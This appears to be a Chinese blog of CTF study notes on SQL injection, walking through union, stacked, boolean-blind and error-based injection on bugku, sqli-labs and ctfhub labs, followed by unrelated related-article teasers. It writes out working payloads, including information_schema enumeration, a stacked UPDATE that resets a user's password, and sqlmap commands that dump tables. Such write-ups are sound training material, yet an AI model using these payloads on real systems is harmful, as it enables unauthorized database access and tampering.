SQL注入--题目

联合查询注入:

bugku-这是一个神奇的登录框

手工注入:

 点吧,输入0’发现还是:

输入0" 发现报错:

确定可以注入,判断字段有多少个 0"order by 1,2,3# 发现:

 

 

说明有两列。

输入 0" union select database(),2# ,得到库名:

 继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # (0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# )得到表名:
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名:

继续输入 0" union select flag1,2 from flag1# (爆字段里的内容,中的表明是不加单引号的)得到该列下的值:

 sqlmap:

查看一下源码:

 

是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。

首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)

 

我保存到了D:\1.txt

然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs

解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字

可以看到sqlmap获得了数据库的名字:

应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables

解释:-D是表示选择了后面的这个数据库 --tables是想获取表

可以看到爆出了表

应该在flag1这个表里,继续爆列名

命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面 不过加了一个-T 指定表

可以发现爆出了列名

flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

解释:同上面 --dump是获取字段的命令

(在这过程中可能会让你选择Y或者N 我直接回车的)

可以看到爆出了flag

堆叠注入

Sqlilabs-less38

根据关卡提示,得知 38关 为堆叠注入,页面如下。

 如果堆叠注入的情况下,首先是考虑闭合前面的语句,再执行第二个语句;所以构建payload "?id=1';第二条SQL语句 --+" 或者 "?id=1;第二条SQL语句 --+"

从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;

现在尝试一下爆出数据库、表、列名等相关信息。  尝试得到库名 “security”

尝试获取 “security” 数据库下的表名 得到[emails,referers,uagents,users]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)a));%20--+

得到了一个 “users” 表的信息,现在看一下 “users” 表的列名 [id,username,password]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a));%20--+
构造堆叠注入的payload ?id=1'; update users set password = 'Dumb' where username = 'Dumb'; --+

 这里看到 Dumb 用户的密码被改成了 Dumb001 ,说明构建的堆叠注入的 payload 利用成功

布尔盲注

ctfhub布尔注入

按照题目意思输入1看看

从这里可以知道

不需要打引号 

哦对了,我们先应该判断是否有注入点,利用真假语句来判断id的值是否可以改变sql语句的变化

 通过恒真语句and 1=1和恒假语句and 1=2得知id的值可以改变sql语句的走向,说明这里存在注入点,然后便上网查询一下布尔注入应该要用到哪些函数语句

1 and length(database())=4 

 可以知道数据库名是四个字符的,然后利用substr(x,1,1)分割函数来一个个试是什么字符,利用ascii的值来判断

 可以得知数据库第一个字符的ascii值是大于110的

 

 可以确定第一个字符的ascii值就是115也就是s,后面的就不用去猜了,肯定就是sqli了

 接下来我们利用count函数来判断sqli数据库里有几个表

1 and (select count(table_name) from information_schema.tables where table_schema='sqli' )<3

 可以知道少于3张表,我们就可以联想到news和flag了,方法随便用,可以用concat和floor这种方法来判断,但是都离不开ascii和count来判断 

 得知第一个表的第一个字符ascii值大于109

利用sqlmap来得知数据库有哪些

sqlmap.py -u 登录的地址 -dbs

虽然有点时间,但是还是比我们手动注入的快的 

然后利用sqlmap.py -u 输入地址 -D sqli --tables来获取数据库里面的表

发现两张表flag和news,我们可以直接去看字段以及数值了 

sqlmap.py -u 地址 -D sqli -T flag --columns --dump

 

时间盲注

(这题自己没摸出来,看的网上的wp)主要是脚本问题

CTFHUB SQL注入——时间盲注 附自己写的脚本_ctf 时间盲注_Wuuconix的博客-CSDN博客

求头注入--post,get

自己做的题wp:BUGKU CTF——WEB基础 {GET,POST}_get bugku csdn_lulu001128的博客-CSDN博客

sql注入写马

上传一句话木马

报错注入

Sqlilabs-less5

 先用万能密码试一下:

 

 发现报错,可以直接进行报错注入

 这里直接查询出数据库名,进行下一步操作:

 当我们再次用updatexml函数进行报错注入时发现提示The used SELECT statements have a different number of columns。
猜测是因为updatexml的最大长度是32位,所以换一个函数继续进行注入。

宽字节注入

【ctf】sql注入——宽字节注入_ctf 宽字节注入_甜不拉几的博客-CSDN博客

二次注入

【CTF】二次注入原理及实战_失控的菜鸡玩家的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/47281.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ARM day8 key1/2/3led

key_led.h #ifndef _KEY_H_ #define _KEY_H_#include "stm32mp1xx_rcc.h" #include "stm32mp1xx_gpio.h" #include "stm32mp1xx_exti.h" #include "stm32mp1xx_gic.h"//EXTI编号 typedef enum {EXTI0,EXTI1,EXTI2,EXTI3,EXTI4,EXTI5,…

陪诊小程序软件|陪诊系统定制|医院陪诊小程序

开发一个陪诊小程序需要投入一定的费用&#xff0c;具体金额会因项目的复杂程度、功能需求和推广政策而有所差异在投入资金之前&#xff0c;建议进行市场调研和需求分析&#xff0c;制定出合理的预算&#xff0c;并选择专业的开发团队进行合作&#xff0c;那么开发陪诊小程序需…

SpringBoot-6

Spring Boot 中的 MVC 支持 Spring Boot 的 MVC 支持主要来最常用的几个注解&#xff0c;包括RestController 用于声明控制器、RequestMapping用于实现方法映射地址、PathVariable 用于接受路径中的参数、RequestParam 用于接受 request 请求中的参数以及RequestBody 用于接受…

【机器学习】支持向量机SVM入门

优化目标 相较于之前学习的线性回归和神经网络&#xff0c;支持向量机&#xff08;Supprot Vector Machine&#xff0c;简称SVM&#xff09;在拟合复杂的非线性方程的时候拥有更出色的能力&#xff0c;该算法也是十分经典的算法之一。接下来我们需要学习这种算法 首先我们回顾…

使用html和css技巧提升网站加载速度

使用html和css技巧提升网站加载速度 加载时间每增加一秒&#xff08;0-5 秒之间&#xff09;&#xff0c;网站转化率平均就会下降 4.42%。页面加载时间的前五秒对转化率的影响最大。 通过更改html和css文件可以提高网站的页面加载速度,本文现在就来介绍一下怎么实现。 延迟加载…

Spring MVC -- 获取参数(普通对象+JSON对象+URL地址参数+文件+Cookie/Session/Header)

目录 1.获取参数 1.1获取单个参数 1.2获取多个参数 传参注意事项&#xff1a; 2.获取对象 3.后端参数重命名RequestParam 4.获取JSON对象RequestBody 5.从 URL 地址中获取参数 PathVariable 6.上传文件 RequestPart 7.获取Cookie/Session/Header 7.1 获取 Request 和…

解读维达国际2023半年度财报:后续发力“高端、高利润、高质量”

随着国内直播电商市场的迅速发展&#xff0c;对于希望在国内市场取得成功的品牌来说&#xff0c;直播电商已经成为所有大众消费品牌的竞争关键。 以生活用纸品牌维达为例&#xff0c;截至2023年7月25日&#xff0c;据抖音平台直播动态显示&#xff0c;维达官方旗舰店今年上半年…

免费商城搭建、免费小程序商城搭建、之java商城 电子商务Spring Cloud+Spring Boot+mybatis+MQ+VR全景+b2b2c

1. 涉及平台 平台管理、商家端&#xff08;PC端、手机端&#xff09;、买家平台&#xff08;H5/公众号、小程序、APP端&#xff08;IOS/Android&#xff09;、微服务平台&#xff08;业务服务&#xff09; 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis 3. 前端框架…

Linux-Shell

1.什么是Bash shell(壳) Bash Shell是一个命令解释器&#xff0c;它在操作系统的最外层&#xff0c;负责用户程序与内核进行交互操作的一种接口&#xff0c;将用户输入的命令翻译给操作系统&#xff0c;并将处理后的结果输出至屏幕。 通过xshell连接&#xff0c;就是打开了一…

黑客自学笔记(网络安全)

一、黑客是什么 原是指热心于计算机技术&#xff0c;水平高超的电脑专家&#xff0c;尤其是程序设计人员。但后来&#xff0c;黑客一词已被用于泛指那些专门利用电脑网络搞破坏或者恶作剧的家伙。 二、学习黑客技术的原因 其实&#xff0c;网络信息空间安全已经成为海陆空之…

Ajax 黑马学习

Ajax 资源 数据是服务器对外提供的资源,通过 请求 - 处理 - 响应方式获取 请求服务器数据, 用到 XMLHttpRequest 对象 XMLHttpRequest 是浏览器提供的js成员, 通过它可以请求服务器上的数据资源 let xmlHttpRequest new XMLHttpRequest(); 请求方式 : get向服务器获取数据…

RNN架构解析——认识RNN模型

目录 RNN模型作用分类按照输入和输出的结构进行分类按照RNN的内部构造进行分类 RNN模型 RNN单层网络结构 作用 分类 按照输入和输出的结构进行分类 按照RNN的内部构造进行分类

臻图信息以数字孪生赋能智慧文旅新发展

随着AI、元宇宙的热度持续攀升&#xff0c;以及中共中央办公厅、国务院办公厅此前印发了《“十四五”文化发展规划》、《关于推进实施国家文化数字化战略的意见》等重要文件&#xff0c;要求各地区各部门发挥好对产业的引导、扶持和监管作用。 数字孪生作为元宇宙建设的基石&am…

系统架构设计师-软件架构设计(4)

目录 一、软件架构评估 1、敏感点 2、权衡点 3、风险点 4、非风险点 5、架构评估方法 5.1 基于调查问卷或检查表的方式 5.2 基于度量的方式 5.3 基于场景的方式 6、基于场景的评估方法 6.1 软件架构分析法&#xff08;SAAM&#xff09; 6.2 架构权衡分析法&#xff08;ATAM&am…

【CAS6.6源码解析】源码构建时-默认service配置不生效解决方案

CAS6的源码提供了默认的HTTPSandIMAPS-10000001.json配置用于授权所有的https和imaps服务&#xff0c;但是当添加JsonServiceRegistry模块启动后&#xff0c;会发现service是没有被注册的&#xff0c;是由于json路径引起的错误&#xff0c;可以把路径修改为绝对路径以解决此问题…

支付宝原生小程序组件与父级传递数据(微信小程序基本一样)

1. 声明组件 在对应的目录下,右击点击 新建小程序,之后会生成对应的文件 2. 子组件 Component({data: {colorList: [#165FF6, #3D16F6,

vue3+ts+elementui-plus二次封装弹框

一、弹框组件BaseDialog <template><div classmain><el-dialog v-model"visible" :title"title" :width"dialogWidth" :before-close"handleClose"><!-- 内容插槽 --><slot></slot><template…

Go基础—反射,性能和灵活性的双刃剑

Go基础—反射&#xff0c;性能和灵活性的双刃剑 1 简介2 结构体成员赋值对比3 结构体成员搜索并赋值对比4 调用函数对比5 基准测试结果对比 1 简介 现在的一些流行设计思想需要建立在反射基础上&#xff0c;如控制反转&#xff08;Inversion Of Control&#xff0c;IOC&#x…

基于Spring包扫描工具和MybatisPlus逆向工程组件的数据表自动同步机制

公司产品产出的项目较多。同步数据库表结构工作很麻烦。一个alter语句要跑到N个客户机上执行脚本。超级费时麻烦。介于此&#xff0c;原有方案是把增量脚本放到一resource包下&#xff0c;项目启动时执行逐行执行一次。但由于模块开发人员较多&#xff0c;总有那么一两个机灵鬼…

【运维】DevOps全流程笔记(未完成)

运维笔记 DevOps基本流程Code阶段工具&#xff08;gitlab安装&#xff09;Build阶段工具&#xff08;Maven安装&#xff09;Integrate阶段工具JenkinsJenkins介绍Jenkins安装Jenkins入门配置 CI/CD操作集成Sonar Qube集成HarborJenkins流水线Kubernetes编排工具 DevOps全流程笔…